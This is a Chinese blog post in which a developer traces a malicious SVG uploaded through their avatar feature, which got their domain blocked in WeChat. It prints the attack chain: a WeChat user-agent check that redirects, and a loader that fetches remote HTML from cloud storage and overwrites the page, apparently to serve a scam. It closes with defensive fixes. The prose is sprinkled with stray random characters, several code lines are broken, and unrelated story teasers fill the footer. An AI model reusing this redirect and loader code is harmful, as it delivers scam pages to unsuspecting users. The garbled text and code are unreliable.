【已停止訪問該網(wǎng)頁】由一張圖片引發(fā)的“血案”

先看個(gè)熱鬧

突然一天在微信上打不開我的域名了,被封了


image.png

然后我要瘋,我沒有這個(gè)svg啊挺尾,雖然系統(tǒng)中有圖片上傳的地方返顺,但是也不會(huì)用到這個(gè)svg啊


image.png

想想禀苦,可能有人通過我的系統(tǒng)免費(fèi)上傳了這個(gè)svg然后在其他地方用了這個(gè)免費(fèi)的資源流量。

下載這個(gè)svg遂鹊,文本編輯器打開源碼

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="3.5in" height="1in">
    <script type="text/javascript" xlink:></script>
</svg>

打開https://ookwqc.com/t域名


(function() {
            var ua = navigator.userAgent.toLowerCase();
            try { document.getElementsByTagName("body")[0].outerHTML = "<center>Loading...</center>"; } catch (e) {};
            if (/micromessenger/.test(ua)) {
                if (top != window || !document.body) {
                    top.location.;
                } else {
                    var a = document.createElement('a');
                    a.;
                    a.rel = 'noreferrer';
                    a.click();
                }
            }
        })()

上面一段代碼寫的很有意思振乏,如果是微信瀏覽器打開是一張圖片,否則是另外一張圖片秉扑。
但是————不要被后綴偽裝給迷惑了慧邮。
查詢域名備案信息,哇塞備案了差不多500個(gè)域名舟陆,真流弊


image.png

打開微信那張照片

頁面空白赋咽,但是作為開發(fā)人員,打開F12吨娜,哇塞

image.png

這個(gè)地址只是一個(gè)以jpg結(jié)尾的svg文件請(qǐng)求地址脓匿。
其中https://05ez.com/t又去獲取下一個(gè)地址

image.png

不死不休,繼續(xù)追蹤<u>http://rf9maug.5ltj6b9d.tw/05d.html?now=1554192363</u>
F12照看一下

<!DOCTYPE html>
<html lang="en"><head>
<meta charset="UTF-8"><title></title></head><body>
<script src="https://05ez.com/d"></script>
</body></html>

繼續(xù)找<u>https://05ez.com/d</u>

var _shareUrl = 'https://05ez.com';
var hm_c = 'a71a8a3c027d8f8703df08f83e95ef39';

function _getParam(name) {
    return location.href.match(new RegExp('[?&]' + name + '=([^?&#]+)', 'i')) ? decodeURIComponent(RegExp.$1) : '';
}
var ua = navigator.userAgent.toLowerCase();
if (/micromessenger/.test(ua)) {
    var _lay = document.createElement('div');
    _lay.setAttribute('style', 'width:100%;height:2048px;font-size:1.4em;position:absolute;' +
        'background-color:white;z-index:99999999;left:0;top:0;');
    _lay.innerHTML = '<div style="color:black;text-align:center;font-size:1.3em">loading...</div>';
    if (document.body) document.body.appendChild(_lay);
    document.title = "正在打開...";
    var xhr = new XMLHttpRequest;
    var html = null;

    function getParam(name, url) {
        var r = new RegExp('(?|#|&)' + name + '=(.*?)(#|&|$)');
        var m = (url || location.href).match(r);
        return (m ? m[2] : '')
    }
    function render() {
        var a = document.open("text/html", "replace");
        a.write(html);
        a.close()
    }
    xhr.onload = function () {
        html = xhr.responseText;
        var delay = 0;
        if (delay > 0) setTimeout("render()", delay * 1000); else render()
    };
    xhr.open("GET", "https://lbbb.oss-cn-hangzhou.aliyuncs.com/hb_v3/index.html?t=" + Date.now(), !0);
    xhr.send();
}

打開上面的頁面

<u>https://lbbb.oss-cn-hangzhou.aliyuncs.com/hb_v3/index.html</u>

<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="utf-8">
  <title>...</title>
  <meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1,user-scalable=0,viewport-fit=cover" />
  <meta name="format-detection" content="telephone=no">
  <meta name="applicable-device" content="mobile">
  <link rel="stylesheet" >
  <script>
    window.focusLocation = {};
  </script>
</head>

<body>
  <script src="http://res.wx.qq.com/open/js/jweixin-1.0.0.js"></script>
  <script src="http://lifescore.oss-cn-qingdao.aliyuncs.com/hb_v2/js/jquery.min.js"></script>
  <script src="http://lifescore.oss-cn-qingdao.aliyuncs.com/hb_v2/js/core.js"></script>
  <script src="https://05ez.com/case/info?var=window.data"></script>

  <script>
    // M.loadJS('/js/i_d.js?v=' + (+new Date()));
    M.loadJS('https://lbbb.oss-cn-hangzhou.aliyuncs.com/hb_v3/js/i_d.js?v=' + (+new Date()));
  </script>
</body>

</html>

瞅一眼那個(gè)JS

<u>https://lbbb.oss-cn-hangzhou.aliyuncs.com/hb_v3/js/i_d.js</u>

js.png

好了找到地方了宦赠,多么喜慶陪毡。
image.png

找到問題就解決吧

再來找找這個(gè)svg文件上傳的日志

2019-03-10T13:08:35.866304Z {"Accept-Encoding":"gzip","Content-Length":"992","Content-Type":"multipart/form-data; boundary=------------------------78ff25155c5e6156","IP":"127.0.0.1","User-Agent":"Go-http-client/1.1","X-Forwarded-For":"112.96.135.XXX157.255.155.XXX"X-Real-Ip":"157.255.155.XXX"X-Reqid":"DQYAAMIr4LjhmooV","X-Scheme":"http"} {"key":"XXX.svg","hash":"e5gx5xekD","bucket":"","fsize":252}

解決方案

1)限制系統(tǒng)中頭像上傳的文件類型為jpg/png (app端會(huì)裁剪照片,這2個(gè)類型夠用)

2)如果使用第三方對(duì)象存儲(chǔ)勾扭,建議修改秘鑰

3)在nginx或者slb上限制該惡意ip毡琉,并設(shè)置SLB黑名單

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個(gè)濱河市妙色,隨后出現(xiàn)的幾起案子桅滋,更是在濱河造成了極大的恐慌,老刑警劉巖,帶你破解...
    沈念sama閱讀 212,080評(píng)論 6 493
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件丐谋,死亡現(xiàn)場離奇詭異芍碧,居然都是意外死亡,警方通過查閱死者的電腦和手機(jī)号俐,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 90,422評(píng)論 3 385
  • 文/潘曉璐 我一進(jìn)店門泌豆,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人吏饿,你說我怎么就攤上這事踪危。” “怎么了猪落?”我有些...
    開封第一講書人閱讀 157,630評(píng)論 0 348
  • 文/不壞的土叔 我叫張陵贞远,是天一觀的道長。 經(jīng)常有香客問我笨忌,道長蓝仲,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 56,554評(píng)論 1 284
  • 正文 為了忘掉前任蜜唾,我火速辦了婚禮,結(jié)果婚禮上庶艾,老公的妹妹穿的比我還像新娘袁余。我一直安慰自己,他們只是感情好咱揍,可當(dāng)我...
    茶點(diǎn)故事閱讀 65,662評(píng)論 6 386
  • 文/花漫 我一把揭開白布颖榜。 她就那樣靜靜地躺著,像睡著了一般煤裙。 火紅的嫁衣襯著肌膚如雪掩完。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 49,856評(píng)論 1 290
  • 那天硼砰,我揣著相機(jī)與錄音且蓬,去河邊找鬼。 笑死题翰,一個(gè)胖子當(dāng)著我的面吹牛恶阴,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播豹障,決...
    沈念sama閱讀 39,014評(píng)論 3 408
  • 文/蒼蘭香墨 我猛地睜開眼冯事,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了血公?” 一聲冷哼從身側(cè)響起昵仅,我...
    開封第一講書人閱讀 37,752評(píng)論 0 268
  • 序言:老撾萬榮一對(duì)情侶失蹤,失蹤者是張志新(化名)和其女友劉穎累魔,沒想到半個(gè)月后摔笤,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體够滑,經(jīng)...
    沈念sama閱讀 44,212評(píng)論 1 303
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 36,541評(píng)論 2 327
  • 正文 我和宋清朗相戀三年籍茧,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了版述。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 38,687評(píng)論 1 341
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡寞冯,死狀恐怖渴析,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情吮龄,我是刑警寧澤俭茧,帶...
    沈念sama閱讀 34,347評(píng)論 4 331
  • 正文 年R本政府宣布,位于F島的核電站漓帚,受9級(jí)特大地震影響母债,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜尝抖,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 39,973評(píng)論 3 315
  • 文/蒙蒙 一毡们、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧昧辽,春花似錦衙熔、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,777評(píng)論 0 21
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至咕痛,卻和暖如春痢甘,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背茉贡。 一陣腳步聲響...
    開封第一講書人閱讀 32,006評(píng)論 1 266
  • 我被黑心中介騙來泰國打工塞栅, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人腔丧。 一個(gè)月前我還...
    沈念sama閱讀 46,406評(píng)論 2 360
  • 正文 我出身青樓构蹬,卻偏偏與公主長得像,于是被迫代替她去往敵國和親悔据。 傳聞我的和親對(duì)象是個(gè)殘疾皇子庄敛,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 43,576評(píng)論 2 349

推薦閱讀更多精彩內(nèi)容